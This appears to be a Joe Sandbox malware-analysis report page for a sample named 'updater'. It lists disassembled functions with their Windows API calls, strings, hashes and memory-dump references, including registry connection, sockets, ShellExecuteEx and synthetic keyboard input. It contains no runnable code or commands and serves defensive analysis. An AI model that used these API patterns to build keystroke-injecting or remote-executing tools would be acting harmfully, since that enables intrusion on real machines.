Associated: 00000013.00000002.2482250408.0000000000C79000.00000002.00000001.01000000.00000010.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_bb0000_updater.jbxd

Similarity

API ID: IconLoadNotifyShell_String__swprintf_memmove_memset_wcscpy
String ID: Line %d: $AutoIt -
API String ID: 230667853-4094128768
Opcode ID: 06eb3baf61f0912e641a93dc99cf083d2d56abd5028f5ee8bba6aa882f113135
Instruction ID: 3ff88b15875f4e53a6d19f2316c5acb03524a4eaa92bcf13db8b7cf4fe820c31
Opcode Fuzzy Hash: 06eb3baf61f0912e641a93dc99cf083d2d56abd5028f5ee8bba6aa882f113135
Instruction Fuzzy Hash: FB41C471008304AAD321EB64DC85FDF77ECAF45350F104A6EF599921A2EF74A689CB93

Function 00C134DD Relevance: 12.3, APIs: 2, Strings: 5, Instructions: 82windowCOMMON

Download Yara Rule

APIs

LoadIconW.USER32(00000000,00007F03), ref: 00C1357C

Strings

info, xrefs: 00C1351D
warning, xrefs: 00C13565
question, xrefs: 00C13535
stop, xrefs: 00C1354D
blank, xrefs: 00C134FE

Memory Dump Source

Source File: 00000013.00000002.2481282186.0000000000BB1000.00000020.00000001.01000000.00000010.sdmp, Offset: 00BB0000, based on PE: true

Associated: 00000013.00000002.2480217922.0000000000BB0000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000013.00000002.2481669909.0000000000C40000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000013.00000002.2481669909.0000000000C66000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000013.00000002.2482204228.0000000000C70000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000013.00000002.2482250408.0000000000C79000.00000002.00000001.01000000.00000010.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_bb0000_updater.jbxd

Similarity

API ID: IconLoad
String ID: blank$info$question$stop$warning
API String ID: 2457776203-404129466
Opcode ID: f776ad509b5c22b5b7892c40328b668118bc82dce7b9258897683a8e92e07111
Instruction ID: 49776bf2c11f59f10c395fe35a1fa3c638dc1d06bc859c1aeea5ac1b4402d4c4
Opcode Fuzzy Hash: f776ad509b5c22b5b7892c40328b668118bc82dce7b9258897683a8e92e07111
Instruction Fuzzy Hash: BC115B35649387BEA7004A15DCC2DEE77DCDF07B68B20006AFA10A6282E7746FC026A1

Function 00C147E8 Relevance: 12.3, APIs: 6, Strings: 1, Instructions: 47windowCOMMON

Download Yara Rule

APIs

GetModuleHandleW.KERNEL32(00000000,?,?,00000100,00000000), ref: 00C14802
LoadStringW.USER32(00000000), ref: 00C14809
GetModuleHandleW.KERNEL32(00000000,00001389,?,00000100), ref: 00C1481F
LoadStringW.USER32(00000000), ref: 00C14826
_wprintf.LIBCMT ref: 00C1484C
MessageBoxW.USER32(00000000,?,?,00011010), ref: 00C1486A

Strings

%s (%d) : ==> %s: %s %s, xrefs: 00C14847

Memory Dump Source

Source File: 00000013.00000002.2481282186.0000000000BB1000.00000020.00000001.01000000.00000010.sdmp, Offset: 00BB0000, based on PE: true

Associated: 00000013.00000002.2480217922.0000000000BB0000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000013.00000002.2481669909.0000000000C40000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000013.00000002.2481669909.0000000000C66000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000013.00000002.2482204228.0000000000C70000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000013.00000002.2482250408.0000000000C79000.00000002.00000001.01000000.00000010.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_bb0000_updater.jbxd

Similarity

API ID: HandleLoadModuleString$Message_wprintf
String ID: %s (%d) : ==> %s: %s %s
API String ID: 3648134473-3128320259
Opcode ID: 7408659c659c286654f1dea0e1ec03d63192f791b595f329651c856109c81fcd
Instruction ID: afa3ba0fcf38380b645735fcdb02d0c5c14d11db3f2b3079f2732dc7a8e4d7e5
Opcode Fuzzy Hash: 7408659c659c286654f1dea0e1ec03d63192f791b595f329651c856109c81fcd
Instruction Fuzzy Hash: F60162F69402087FE751D7A09D89FFA777CF709301F5005A5BB4AE2041EA749E844B75

Function 00C3DB04 Relevance: 12.3, APIs: 8, Instructions: 257windowCOMMON

Download Yara Rule

APIs

Part of subcall function 00BB29E2: GetWindowLongW.USER32(?,000000EB), ref: 00BB29F3

GetSystemMetrics.USER32(0000000F), ref: 00C3DB42
GetSystemMetrics.USER32(0000000F), ref: 00C3DB62
MoveWindow.USER32(00000003,?,?,?,?,00000000,?,?,?), ref: 00C3DD9D
SendMessageW.USER32(00000003,00000142,00000000,0000FFFF), ref: 00C3DDBB
SendMessageW.USER32(00000003,00000469,?,00000000), ref: 00C3DDDC
ShowWindow.USER32(00000003,00000000), ref: 00C3DDFB
InvalidateRect.USER32(?,00000000,00000001), ref: 00C3DE20
DefDlgProcW.USER32(?,00000005,?,?), ref: 00C3DE43

Memory Dump Source

Source File: 00000013.00000002.2481282186.0000000000BB1000.00000020.00000001.01000000.00000010.sdmp, Offset: 00BB0000, based on PE: true

Associated: 00000013.00000002.2480217922.0000000000BB0000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000013.00000002.2481669909.0000000000C40000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000013.00000002.2481669909.0000000000C66000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000013.00000002.2482204228.0000000000C70000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000013.00000002.2482250408.0000000000C79000.00000002.00000001.01000000.00000010.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_bb0000_updater.jbxd

Similarity

API ID: Window$MessageMetricsSendSystem$InvalidateLongMoveProcRectShow
String ID:
API String ID: 1211466189-0
Opcode ID: ecf13db8a6b50f4e01d7cc2acd35de3292347e4c7c86afa7d3e47ab675057999
Instruction ID: d7a0fdd8410d2a2f5657453615fbdb7d2f79fe89ac1249d17c54d63458a765b1
Opcode Fuzzy Hash: ecf13db8a6b50f4e01d7cc2acd35de3292347e4c7c86afa7d3e47ab675057999
Instruction Fuzzy Hash: 94B1AA35610219EFCF14CF69D9C57AD7BB1FF04701F088069ED5AAE295D730AA90CBA0

Function 00C30371 Relevance: 12.3, APIs: 8, Instructions: 256registryCOMMON

Download Yara Rule

APIs

Part of subcall function 00BC1A36: _memmove.LIBCMT ref: 00BC1A77

Part of subcall function 00C3147A: CharUpperBuffW.USER32(?,?,?,?,?,?,?,00C3040D,?,?), ref: 00C31491

RegConnectRegistryW.ADVAPI32(?,?,?), ref: 00C3044E

Memory Dump Source

Source File: 00000013.00000002.2481282186.0000000000BB1000.00000020.00000001.01000000.00000010.sdmp, Offset: 00BB0000, based on PE: true

Associated: 00000013.00000002.2480217922.0000000000BB0000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000013.00000002.2481669909.0000000000C40000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000013.00000002.2481669909.0000000000C66000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000013.00000002.2482204228.0000000000C70000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000013.00000002.2482250408.0000000000C79000.00000002.00000001.01000000.00000010.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_bb0000_updater.jbxd

Similarity

API ID: BuffCharConnectRegistryUpper_memmove
String ID:
API String ID: 3479070676-0
Opcode ID: 7fab9021f3a14739d4d6887779d7f5b2272ad7aa3993d300c15b4cdd91817db2
Instruction ID: 75a775de78cfa9469f3505407afd1c2c0f0aabde1bf434ba37c971c4c9763d4e
Opcode Fuzzy Hash: 7fab9021f3a14739d4d6887779d7f5b2272ad7aa3993d300c15b4cdd91817db2
Instruction Fuzzy Hash: 01A165712042019FCB10EF24C891F6EBBF5BF84314F24895CF9969B2A2DB71EA55CB42

Function 00BB2E2B Relevance: 12.1, APIs: 8, Instructions: 129COMMON

Download Yara Rule

APIs

ShowWindow.USER32(00000024,?,00000000,00000000,?,00BEC508,00000004,00000000,00000000,00000000), ref: 00BB2E9F
ShowWindow.USER32(00000024,00000000,00000000,00000000,?,00BEC508,00000004,00000000,00000000,00000000,000000FF), ref: 00BB2EE7
ShowWindow.USER32(00000024,00000006,00000000,00000000,?,00BEC508,00000004,00000000,00000000,00000000), ref: 00BEC55B
ShowWindow.USER32(00000024,?,00000000,00000000,?,00BEC508,00000004,00000000,00000000,00000000), ref: 00BEC5C7

Memory Dump Source

Source File: 00000013.00000002.2481282186.0000000000BB1000.00000020.00000001.01000000.00000010.sdmp, Offset: 00BB0000, based on PE: true

Associated: 00000013.00000002.2480217922.0000000000BB0000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000013.00000002.2481669909.0000000000C40000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000013.00000002.2481669909.0000000000C66000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000013.00000002.2482204228.0000000000C70000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000013.00000002.2482250408.0000000000C79000.00000002.00000001.01000000.00000010.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_bb0000_updater.jbxd

Similarity

API ID: ShowWindow
String ID:
API String ID: 1268545403-0
Opcode ID: d141338c749b0124dfb1ea6120ddb517752350ff44d1c7976cdc63a19de84bf0
Instruction ID: 8dd5574151584ef76447754a9e9f3c19fb272675927a44d3635819e908147972
Opcode Fuzzy Hash: d141338c749b0124dfb1ea6120ddb517752350ff44d1c7976cdc63a19de84bf0
Instruction Fuzzy Hash: E241B3346046C09BD7358B2A89CDBFE7ED2FB96310F2444CDE94B466A1C7B5E881D711

Function 00C17681 Relevance: 12.1, APIs: 8, Instructions: 101fileCOMMON

Download Yara Rule

APIs

InterlockedExchange.KERNEL32(?,000001F5), ref: 00C17698

Part of subcall function 00BD0FE6: std::exception::exception.LIBCMT ref: 00BD101C
Part of subcall function 00BD0FE6: __CxxThrowException@8.LIBCMT ref: 00BD1031

ReadFile.KERNEL32(0000FFFF,00000000,0000FFFF,?,00000000), ref: 00C176CF
EnterCriticalSection.KERNEL32(?), ref: 00C176EB
_memmove.LIBCMT ref: 00C17739
_memmove.LIBCMT ref: 00C17756
LeaveCriticalSection.KERNEL32(?), ref: 00C17765
ReadFile.KERNEL32(0000FFFF,00000000,0000FFFF,00000000,00000000), ref: 00C1777A
InterlockedExchange.KERNEL32(?,000001F6), ref: 00C17799

Memory Dump Source

Source File: 00000013.00000002.2481282186.0000000000BB1000.00000020.00000001.01000000.00000010.sdmp, Offset: 00BB0000, based on PE: true

Associated: 00000013.00000002.2480217922.0000000000BB0000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000013.00000002.2481669909.0000000000C40000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000013.00000002.2481669909.0000000000C66000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000013.00000002.2482204228.0000000000C70000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000013.00000002.2482250408.0000000000C79000.00000002.00000001.01000000.00000010.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_bb0000_updater.jbxd

Similarity

API ID: CriticalExchangeFileInterlockedReadSection_memmove$EnterException@8LeaveThrowstd::exception::exception
String ID:
API String ID: 256516436-0
Opcode ID: d29ce7bc9c59f9d5bc839b2644c840c3bd86f5f60b63442d327c996b16497349
Instruction ID: b3ed613d6dc4b0129f8deaabb0d775ae9b80ffbfb826c2e5ad6819b8dbb57e8e
Opcode Fuzzy Hash: d29ce7bc9c59f9d5bc839b2644c840c3bd86f5f60b63442d327c996b16497349
Instruction Fuzzy Hash: 9F31A135904104EBCB10EF94DC85FAEBBB8FF46300F2441A6F904AB296D7709E50DBA0

Function 00C367F8 Relevance: 12.1, APIs: 8, Instructions: 95windowCOMMON

Download Yara Rule

APIs

DeleteObject.GDI32(00000000), ref: 00C36810
GetDC.USER32(00000000), ref: 00C36818
GetDeviceCaps.GDI32(00000000,0000005A), ref: 00C36823
ReleaseDC.USER32(00000000,00000000), ref: 00C3682F
CreateFontW.GDI32(?,00000000,00000000,00000000,?,00000000,00000000,00000000,00000001,00000004,00000000,?,00000000,?), ref: 00C3686B
SendMessageW.USER32(?,00000030,00000000,00000001), ref: 00C3687C
MoveWindow.USER32(?,?,?,?,?,00000000,?,?,00C3964F,?,?,000000FF,00000000,?,000000FF,?), ref: 00C368B6
SendMessageW.USER32(?,00000142,00000000,00000000), ref: 00C368D6

Memory Dump Source

Source File: 00000013.00000002.2481282186.0000000000BB1000.00000020.00000001.01000000.00000010.sdmp, Offset: 00BB0000, based on PE: true

Associated: 00000013.00000002.2480217922.0000000000BB0000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000013.00000002.2481669909.0000000000C40000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000013.00000002.2481669909.0000000000C66000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000013.00000002.2482204228.0000000000C70000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000013.00000002.2482250408.0000000000C79000.00000002.00000001.01000000.00000010.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_bb0000_updater.jbxd

Similarity

API ID: MessageSend$CapsCreateDeleteDeviceFontMoveObjectReleaseWindow
String ID:
API String ID: 3864802216-0
Opcode ID: 695109d5dfe0e036aea1603efd67235e0be2512aa99e9be6e3782b71f66d2191
Instruction ID: 100c3c22b64a22e93d659250cc1b3b445fea7234ab75703106c88f3bf06ab068
Opcode Fuzzy Hash: 695109d5dfe0e036aea1603efd67235e0be2512aa99e9be6e3782b71f66d2191
Instruction Fuzzy Hash: C7318B76151210BFEB108F50CC8AFEA3BA9FF4A761F044065FF089A291C6759C51CBB1

Function 00C0C748 Relevance: 12.1, APIs: 8, Instructions: 92COMMON

Download Yara Rule

APIs

_memcmp.LIBCMT ref: 00C0C75D
_memcmp.LIBCMT ref: 00C0C77F
_memcmp.LIBCMT ref: 00C0C797
_memcmp.LIBCMT ref: 00C0C7AA
_memcmp.LIBCMT ref: 00C0C7C4
_memcmp.LIBCMT ref: 00C0C7D7
_memcmp.LIBCMT ref: 00C0C7EF
_memcmp.LIBCMT ref: 00C0C80A

Memory Dump Source

Source File: 00000013.00000002.2481282186.0000000000BB1000.00000020.00000001.01000000.00000010.sdmp, Offset: 00BB0000, based on PE: true

Associated: 00000013.00000002.2480217922.0000000000BB0000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000013.00000002.2481669909.0000000000C40000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000013.00000002.2481669909.0000000000C66000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000013.00000002.2482204228.0000000000C70000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000013.00000002.2482250408.0000000000C79000.00000002.00000001.01000000.00000010.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_bb0000_updater.jbxd

Similarity

API ID: _memcmp
String ID:
API String ID: 2931989736-0
Opcode ID: fe4a84c1892149397d03223d7d23d880849756722ea9475e6d078545fec8860c
Instruction ID: dc72d2be2682cc37aa89724f8d0040a05777fe16172bcf2a4d087bc7b53d866d
Opcode Fuzzy Hash: fe4a84c1892149397d03223d7d23d880849756722ea9475e6d078545fec8860c
Instruction Fuzzy Hash: EA21CFB26012057BD20477298EC2FAB77ACEE65784B088321FD16A63C3F710DF11CAA5

Function 00C1F166 Relevance: 10.8, APIs: 5, Strings: 1, Instructions: 323COMMON

Download Yara Rule

APIs

Part of subcall function 00BB4D37: __itow.LIBCMT ref: 00BB4D62
Part of subcall function 00BB4D37: __swprintf.LIBCMT ref: 00BB4DAC

Part of subcall function 00BC436A: _wcscpy.LIBCMT ref: 00BC438D

_wcstok.LIBCMT ref: 00C1F2D7
_wcscpy.LIBCMT ref: 00C1F366
_memset.LIBCMT ref: 00C1F399

Strings

X, xrefs: 00C1F3D6

Memory Dump Source

Source File: 00000013.00000002.2481282186.0000000000BB1000.00000020.00000001.01000000.00000010.sdmp, Offset: 00BB0000, based on PE: true

Associated: 00000013.00000002.2480217922.0000000000BB0000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000013.00000002.2481669909.0000000000C40000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000013.00000002.2481669909.0000000000C66000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000013.00000002.2482204228.0000000000C70000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000013.00000002.2482250408.0000000000C79000.00000002.00000001.01000000.00000010.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_bb0000_updater.jbxd

Similarity

API ID: _wcscpy$__itow__swprintf_memset_wcstok
String ID: X
API String ID: 774024439-3081909835
Opcode ID: a6d85af077a14c70b0cc010a6c83f6735acb58be50373f58eb30b2280be5d58b
Instruction ID: 0d0c1a0e4103fd7424ac69b3201e8ac2537294fde7cab773ec029603e1e988d3
Opcode Fuzzy Hash: a6d85af077a14c70b0cc010a6c83f6735acb58be50373f58eb30b2280be5d58b
Instruction Fuzzy Hash: ACC19F715047409FC724EF68C891EAAB7E4FF86310F00496DF899972A2DB70ED46DB82

Function 00C271EE Relevance: 10.8, APIs: 7, Instructions: 250networkCOMMON

Download Yara Rule

APIs

__WSAFDIsSet.WSOCK32(00000000,?), ref: 00C272EB
#17.WSOCK32(00000000,?,?,00000000,?,00000010), ref: 00C2730C
WSAGetLastError.WSOCK32(00000000), ref: 00C2731F
htons.WSOCK32(?), ref: 00C273D5
inet_ntoa.WSOCK32(?), ref: 00C27392

Part of subcall function 00C0B4EA: _strlen.LIBCMT ref: 00C0B4F4
Part of subcall function 00C0B4EA: _memmove.LIBCMT ref: 00C0B516

_strlen.LIBCMT ref: 00C2742F
_memmove.LIBCMT ref: 00C27498

Memory Dump Source

Source File: 00000013.00000002.2481282186.0000000000BB1000.00000020.00000001.01000000.00000010.sdmp, Offset: 00BB0000, based on PE: true

Associated: 00000013.00000002.2480217922.0000000000BB0000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000013.00000002.2481669909.0000000000C40000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000013.00000002.2481669909.0000000000C66000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000013.00000002.2482204228.0000000000C70000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000013.00000002.2482250408.0000000000C79000.00000002.00000001.01000000.00000010.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_bb0000_updater.jbxd

Similarity

API ID: _memmove_strlen$ErrorLasthtonsinet_ntoa
String ID:
API String ID: 3619996494-0
Opcode ID: 290cbbdf4bfbd779cb00a6a3a8ef1621ab2398a76d92dd07a35f01cbcb9ba0fb
Instruction ID: 7ca5b255e6a0a71786bff7623484f0433b7ef805b1cbe0cc4103237cb5452acc
Opcode Fuzzy Hash: 290cbbdf4bfbd779cb00a6a3a8ef1621ab2398a76d92dd07a35f01cbcb9ba0fb
Instruction Fuzzy Hash: 2D81C071508210ABD310EB24DC91F6BB7E8EF84714F108A5DF9569B292DB70EE01CB92

Function 00BB1800 Relevance: 10.7, APIs: 7, Instructions: 219COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000013.00000002.2481282186.0000000000BB1000.00000020.00000001.01000000.00000010.sdmp, Offset: 00BB0000, based on PE: true

Associated: 00000013.00000002.2480217922.0000000000BB0000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000013.00000002.2481669909.0000000000C40000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000013.00000002.2481669909.0000000000C66000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000013.00000002.2482204228.0000000000C70000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000013.00000002.2482250408.0000000000C79000.00000002.00000001.01000000.00000010.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_bb0000_updater.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: df8b156dc0c1965e3b7782778919b19bfb553f9b0e94597a6295db0ba1b8ab74
Instruction ID: 6cf1df252753434ea918b64c41c286911d1ff43ccecab5b8dd6f64ab2df62855
Opcode Fuzzy Hash: df8b156dc0c1965e3b7782778919b19bfb553f9b0e94597a6295db0ba1b8ab74
Instruction Fuzzy Hash: DB717A74900109EFCB058F59CC98EFEBBB9FF86310F648599F915AA251C770AA51CBA0

Function 00C3B9C3 Relevance: 10.7, APIs: 7, Instructions: 199windowCOMMON

Download Yara Rule

APIs

IsWindow.USER32(011CDF18), ref: 00C3BA5D
IsWindowEnabled.USER32(011CDF18), ref: 00C3BA69
SendMessageW.USER32(?,0000041C,00000000,00000000), ref: 00C3BB4D
SendMessageW.USER32(011CDF18,000000B0,?,?), ref: 00C3BB84
IsDlgButtonChecked.USER32(?,?), ref: 00C3BBC1
GetWindowLongW.USER32(011CDF18,000000EC), ref: 00C3BBE3
SendMessageW.USER32(?,000000A1,00000002,00000000), ref: 00C3BBFB

Memory Dump Source

Source File: 00000013.00000002.2481282186.0000000000BB1000.00000020.00000001.01000000.00000010.sdmp, Offset: 00BB0000, based on PE: true

Associated: 00000013.00000002.2480217922.0000000000BB0000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000013.00000002.2481669909.0000000000C40000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000013.00000002.2481669909.0000000000C66000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000013.00000002.2482204228.0000000000C70000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000013.00000002.2482250408.0000000000C79000.00000002.00000001.01000000.00000010.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_bb0000_updater.jbxd

Similarity

API ID: MessageSendWindow$ButtonCheckedEnabledLong
String ID:
API String ID: 4072528602-0
Opcode ID: 9d8e56c3fd7d687507ef3cb95d4768c9821154e36b7f3c57c625a10b1117edd0
Instruction ID: 3aa4e9ed2bd136e1b198be4f7849886650a1ed78f1d7045f5bc93200d5967613
Opcode Fuzzy Hash: 9d8e56c3fd7d687507ef3cb95d4768c9821154e36b7f3c57c625a10b1117edd0
Instruction Fuzzy Hash: A271C134614608AFDB259F54C895FFAB7B9FF09300F144059FA6A972A1CB31AE50EB60

Function 00C2FB07 Relevance: 10.7, APIs: 5, Strings: 1, Instructions: 177COMMON

Download Yara Rule

APIs

_memset.LIBCMT ref: 00C2FB31
_memset.LIBCMT ref: 00C2FBFA
ShellExecuteExW.SHELL32(?), ref: 00C2FC3F

Part of subcall function 00BB4D37: __itow.LIBCMT ref: 00BB4D62
Part of subcall function 00BB4D37: __swprintf.LIBCMT ref: 00BB4DAC

Part of subcall function 00BC436A: _wcscpy.LIBCMT ref: 00BC438D

GetProcessId.KERNEL32(00000000), ref: 00C2FCB6
CloseHandle.KERNEL32(00000000), ref: 00C2FCE5

Strings

@, xrefs: 00C2FC0E

Memory Dump Source

Source File: 00000013.00000002.2481282186.0000000000BB1000.00000020.00000001.01000000.00000010.sdmp, Offset: 00BB0000, based on PE: true

Associated: 00000013.00000002.2480217922.0000000000BB0000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000013.00000002.2481669909.0000000000C40000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000013.00000002.2481669909.0000000000C66000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000013.00000002.2482204228.0000000000C70000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000013.00000002.2482250408.0000000000C79000.00000002.00000001.01000000.00000010.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_bb0000_updater.jbxd

Similarity

API ID: _memset$CloseExecuteHandleProcessShell__itow__swprintf_wcscpy
String ID: @
API String ID: 3522835683-2766056989
Opcode ID: de951c6be32d267e8f8ae988c9614066e91b11e8513661f4ec751abe8ff2e410
Instruction ID: 1d3ccf8933d87362d62663c1751d7f488c30fc02d5f9ddea940ddbb98e1bedb4
Opcode Fuzzy Hash: de951c6be32d267e8f8ae988c9614066e91b11e8513661f4ec751abe8ff2e410
Instruction Fuzzy Hash: 8D61A275A0061D9FCB14EF54D491AAEBBF5FF48310F1084ADE856AB752CB30AD42CB90

Function 00C1174C Relevance: 10.7, APIs: 7, Instructions: 166windowCOMMON

Download Yara Rule

APIs

GetParent.USER32(?), ref: 00C1178B
GetKeyboardState.USER32(?), ref: 00C117A0
SetKeyboardState.USER32(?), ref: 00C11801
PostMessageW.USER32(?,00000101,00000010,?), ref: 00C1182F
PostMessageW.USER32(?,00000101,00000011,?), ref: 00C1184E
PostMessageW.USER32(?,00000101,00000012,?), ref: 00C11894
PostMessageW.USER32(?,00000101,0000005B,?), ref: 00C118B7

Memory Dump Source

Source File: 00000013.00000002.2481282186.0000000000BB1000.00000020.00000001.01000000.00000010.sdmp, Offset: 00BB0000, based on PE: true

Associated: 00000013.00000002.2480217922.0000000000BB0000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000013.00000002.2481669909.0000000000C40000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000013.00000002.2481669909.0000000000C66000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000013.00000002.2482204228.0000000000C70000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000013.00000002.2482250408.0000000000C79000.00000002.00000001.01000000.00000010.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_bb0000_updater.jbxd

Similarity

API ID: MessagePost$KeyboardState$Parent
String ID:
API String ID: 87235514-0
Opcode ID: de88ca104cc6b09a9d55ccf5ec6d2adc492b958cb9cc99cd5f30689c1feda76d
Instruction ID: 461572c21ce2d3d1de6f48b02e117acb5defd436ff56def2c43c2a745bb60768
Opcode Fuzzy Hash: de88ca104cc6b09a9d55ccf5ec6d2adc492b958cb9cc99cd5f30689c1feda76d
Instruction Fuzzy Hash: 9651D2A0A187D53DFB3682348855BFA7EE96B07704F0C8589EAE5458C2D29CAEC4F750

Function 00C11565 Relevance: 10.7, APIs: 7, Instructions: 165windowCOMMON

Download Yara Rule

APIs

GetParent.USER32(00000000), ref: 00C115A4
GetKeyboardState.USER32(?), ref: 00C115B9
SetKeyboardState.USER32(?), ref: 00C1161A
PostMessageW.USER32(00000000,00000100,00000010,?), ref: 00C11646
PostMessageW.USER32(00000000,00000100,00000011,?), ref: 00C11663
PostMessageW.USER32(00000000,00000100,00000012,?), ref: 00C116A7
PostMessageW.USER32(00000000,00000100,0000005B,?), ref: 00C116C8

Memory Dump Source

Source File: 00000013.00000002.2481282186.0000000000BB1000.00000020.00000001.01000000.00000010.sdmp, Offset: 00BB0000, based on PE: true

Associated: 00000013.00000002.2480217922.0000000000BB0000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000013.00000002.2481669909.0000000000C40000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000013.00000002.2481669909.0000000000C66000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000013.00000002.2482204228.0000000000C70000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000013.00000002.2482250408.0000000000C79000.00000002.00000001.01000000.00000010.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_bb0000_updater.jbxd

Similarity

API ID: MessagePost$KeyboardState$Parent
String ID:
API String ID: 87235514-0
Opcode ID: 2507208ebb59ec8da67d9b9e320a41fed18ef653a35edebc208fb161965a735b
Instruction ID: 171ef88703356e5a9b5b71f124ba910b3c54c707abd392bd263ae684ea0928b3
Opcode Fuzzy Hash: 2507208ebb59ec8da67d9b9e320a41fed18ef653a35edebc208fb161965a735b
Instruction Fuzzy Hash: DA51E5A05447D53DFB3287248C45BFABEA9AF07300F0C8489FAE5469C2D699ADD4F760

Function 00C15BB8 Relevance: 10.6, APIs: 7, Instructions: 138timeCOMMON

Download Yara Rule

APIs

GetLocalTime.KERNEL32 ref: 00C15BC5
_wcsncpy.LIBCMT ref: 00C15BFA
_wcsncpy.LIBCMT ref: 00C15C2C
_wcsncpy.LIBCMT ref: 00C15C5F
_wcsncpy.LIBCMT ref: 00C15CA1
_wcsncpy.LIBCMT ref: 00C15CDB
_wcsncpy.LIBCMT ref: 00C15D0A

Memory Dump Source

Source File: 00000013.00000002.2481282186.0000000000BB1000.00000020.00000001.01000000.00000010.sdmp, Offset: 00BB0000, based on PE: true

Associated: 00000013.00000002.2480217922.0000000000BB0000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000013.00000002.2481669909.0000000000C40000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000013.00000002.2481669909.0000000000C66000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000013.00000002.2482204228.0000000000C70000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000013.00000002.2482250408.0000000000C79000.00000002.00000001.01000000.00000010.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_bb0000_updater.jbxd

Similarity

API ID: _wcsncpy$LocalTime
String ID:
API String ID: 2945705084-0
Opcode ID: b6180b77e0d3c3c484b6e15a3f99fd1faf0341d4d1fe175e5076f596df028930
Instruction ID: 729f99dd51d7811e66183f93e0e011b247bd8dcc5242e27b5d662a8ce663a4a1
